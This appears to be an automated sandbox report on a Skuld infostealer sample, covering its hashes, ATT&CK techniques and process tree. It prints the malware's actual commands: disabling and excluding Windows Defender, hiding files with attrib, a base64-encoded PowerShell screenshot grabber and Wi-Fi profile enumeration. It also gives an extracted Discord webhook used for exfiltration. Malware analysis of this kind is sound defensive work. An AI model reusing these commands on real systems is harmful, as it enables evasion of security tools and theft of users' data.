skuld | efa8951bc09bf56acd7501f9058920efef6d1766f22f65126bb53e82b6c4a4bf

Analysis

max time kernel
58s
max time network
36s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
03-10-2024 21:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

100.exe
Size

9.9MB
MD5

2f04d8cb1c20951d42ea014dc62f3863
SHA1

36b1683a309af4c482306683a22e47b46d26d38a
SHA256

efa8951bc09bf56acd7501f9058920efef6d1766f22f65126bb53e82b6c4a4bf
SHA512

14ecab3ed45401005ad2571cb7a62ee1208c4ced11e8369b31a2515daba0763840bcbefba02fd283864bb2307715dd8747f32ec51f109ef6c28b7cfff9c98c33
SSDEEP

98304:5iyzkxkJslYf0Wk8+Z6Uhv0wD4xD1ZTE7IgwmZmHJ1RY7:5qkJsmD/Uhv0E4N1ZArqG7

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1135938366463029258/vJmeyFxpmZaKbzjPYsSWaz4Wl0kpI1mEtdYVOK105NQx9rzZ1ORARwaZNiuwBNU_zT6t

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1324 powershell.exe
232 powershell.exe

pid	process
1324	powershell.exe
232	powershell.exe

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exeattrib.exe100.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	100.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

100.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2842058299-443432012-2465494467-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	100.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 discord.com
2 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

flow	ioc
1	discord.com
2	discord.com

flow	ioc
1	ip-api.com

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

netsh.exe

pid process

2768 netsh.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

3672 wmic.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 4 Go-http-client/1.1

pid	process
2768	netsh.exe

pid	process
3672	wmic.exe

description	flow	ioc
HTTP User-Agent header	4	Go-http-client/1.1

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

100.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	100.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	100.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	100.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

100.exepowershell.exepowershell.exe

pid	process
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
232	powershell.exe
2864	100.exe
2864	100.exe
232	powershell.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
1324	powershell.exe
2864	100.exe
2864	100.exe
1324	powershell.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe
2864	100.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

100.exepowershell.exewmic.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	2864	100.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeIncreaseQuotaPrivilege	4276	wmic.exe
Token: SeSecurityPrivilege	4276	wmic.exe
Token: SeTakeOwnershipPrivilege	4276	wmic.exe
Token: SeLoadDriverPrivilege	4276	wmic.exe
Token: SeSystemProfilePrivilege	4276	wmic.exe
Token: SeSystemtimePrivilege	4276	wmic.exe
Token: SeProfSingleProcessPrivilege	4276	wmic.exe
Token: SeIncBasePriorityPrivilege	4276	wmic.exe
Token: SeCreatePagefilePrivilege	4276	wmic.exe
Token: SeBackupPrivilege	4276	wmic.exe
Token: SeRestorePrivilege	4276	wmic.exe
Token: SeShutdownPrivilege	4276	wmic.exe
Token: SeDebugPrivilege	4276	wmic.exe
Token: SeSystemEnvironmentPrivilege	4276	wmic.exe
Token: SeRemoteShutdownPrivilege	4276	wmic.exe
Token: SeUndockPrivilege	4276	wmic.exe
Token: SeManageVolumePrivilege	4276	wmic.exe
Token: 33	4276	wmic.exe
Token: 34	4276	wmic.exe
Token: 35	4276	wmic.exe
Token: 36	4276	wmic.exe
Token: SeIncreaseQuotaPrivilege	4276	wmic.exe
Token: SeSecurityPrivilege	4276	wmic.exe
Token: SeTakeOwnershipPrivilege	4276	wmic.exe
Token: SeLoadDriverPrivilege	4276	wmic.exe
Token: SeSystemProfilePrivilege	4276	wmic.exe
Token: SeSystemtimePrivilege	4276	wmic.exe
Token: SeProfSingleProcessPrivilege	4276	wmic.exe
Token: SeIncBasePriorityPrivilege	4276	wmic.exe
Token: SeCreatePagefilePrivilege	4276	wmic.exe
Token: SeBackupPrivilege	4276	wmic.exe
Token: SeRestorePrivilege	4276	wmic.exe
Token: SeShutdownPrivilege	4276	wmic.exe
Token: SeDebugPrivilege	4276	wmic.exe
Token: SeSystemEnvironmentPrivilege	4276	wmic.exe
Token: SeRemoteShutdownPrivilege	4276	wmic.exe
Token: SeUndockPrivilege	4276	wmic.exe
Token: SeManageVolumePrivilege	4276	wmic.exe
Token: 33	4276	wmic.exe
Token: 34	4276	wmic.exe
Token: 35	4276	wmic.exe
Token: 36	4276	wmic.exe
Token: SeIncreaseQuotaPrivilege	2416	wmic.exe
Token: SeSecurityPrivilege	2416	wmic.exe
Token: SeTakeOwnershipPrivilege	2416	wmic.exe
Token: SeLoadDriverPrivilege	2416	wmic.exe
Token: SeSystemProfilePrivilege	2416	wmic.exe
Token: SeSystemtimePrivilege	2416	wmic.exe
Token: SeProfSingleProcessPrivilege	2416	wmic.exe
Token: SeIncBasePriorityPrivilege	2416	wmic.exe
Token: SeCreatePagefilePrivilege	2416	wmic.exe
Token: SeBackupPrivilege	2416	wmic.exe
Token: SeRestorePrivilege	2416	wmic.exe
Token: SeShutdownPrivilege	2416	wmic.exe
Token: SeDebugPrivilege	2416	wmic.exe
Token: SeSystemEnvironmentPrivilege	2416	wmic.exe
Token: SeRemoteShutdownPrivilege	2416	wmic.exe
Token: SeUndockPrivilege	2416	wmic.exe
Token: SeManageVolumePrivilege	2416	wmic.exe
Token: 33	2416	wmic.exe
Token: 34	2416	wmic.exe
Token: 35	2416	wmic.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

100.exepowershell.execsc.exe

description	pid	process	target process
PID 2864 wrote to memory of 4072	2864	100.exe	attrib.exe
PID 2864 wrote to memory of 4072	2864	100.exe	attrib.exe
PID 2864 wrote to memory of 232	2864	100.exe	powershell.exe
PID 2864 wrote to memory of 232	2864	100.exe	powershell.exe
PID 2864 wrote to memory of 4276	2864	100.exe	wmic.exe
PID 2864 wrote to memory of 4276	2864	100.exe	wmic.exe
PID 2864 wrote to memory of 8	2864	100.exe	attrib.exe
PID 2864 wrote to memory of 8	2864	100.exe	attrib.exe
PID 2864 wrote to memory of 2416	2864	100.exe	wmic.exe
PID 2864 wrote to memory of 2416	2864	100.exe	wmic.exe
PID 2864 wrote to memory of 3672	2864	100.exe	wmic.exe
PID 2864 wrote to memory of 3672	2864	100.exe	wmic.exe
PID 2864 wrote to memory of 1324	2864	100.exe	powershell.exe
PID 2864 wrote to memory of 1324	2864	100.exe	powershell.exe
PID 2864 wrote to memory of 4268	2864	100.exe	wmic.exe
PID 2864 wrote to memory of 4268	2864	100.exe	wmic.exe
PID 2864 wrote to memory of 3584	2864	100.exe	attrib.exe
PID 2864 wrote to memory of 3584	2864	100.exe	attrib.exe
PID 2864 wrote to memory of 2600	2864	100.exe	attrib.exe
PID 2864 wrote to memory of 2600	2864	100.exe	attrib.exe
PID 2864 wrote to memory of 2768	2864	100.exe	netsh.exe
PID 2864 wrote to memory of 2768	2864	100.exe	netsh.exe
PID 2864 wrote to memory of 1868	2864	100.exe	powershell.exe
PID 2864 wrote to memory of 1868	2864	100.exe	powershell.exe
PID 1868 wrote to memory of 4536	1868	powershell.exe	csc.exe
PID 1868 wrote to memory of 4536	1868	powershell.exe	csc.exe
PID 4536 wrote to memory of 3792	4536	csc.exe	cvtres.exe
PID 4536 wrote to memory of 3792	4536	csc.exe	cvtres.exe

Views/modifies file attributes 1 TTPs 4 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

pid process

4072 attrib.exe
8 attrib.exe
3584 attrib.exe
2600 attrib.exe

pid	process
4072	attrib.exe
8	attrib.exe
3584	attrib.exe
2600	attrib.exe

C:\Users\Admin\AppData\Local\Temp\100.exe
"C:\Users\Admin\AppData\Local\Temp\100.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\100.exe
  2⤵
  - Views/modifies file attributes
  PID:4072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\100.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:232
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4276
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:8
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2416
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1324
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:4268
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:3584
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:2600
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1y5gtfyb\1y5gtfyb.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4536
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6CA4.tmp" "c:\Users\Admin\AppData\Local\Temp\1y5gtfyb\CSC5B892C34B7B54C309453F37281E7399B.TMP"
      4⤵
      PID:3792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6903d57eed54e89b68ebb957928d1b99

SHA1
fade011fbf2e4bc044d41e380cf70bd6a9f73212

SHA256
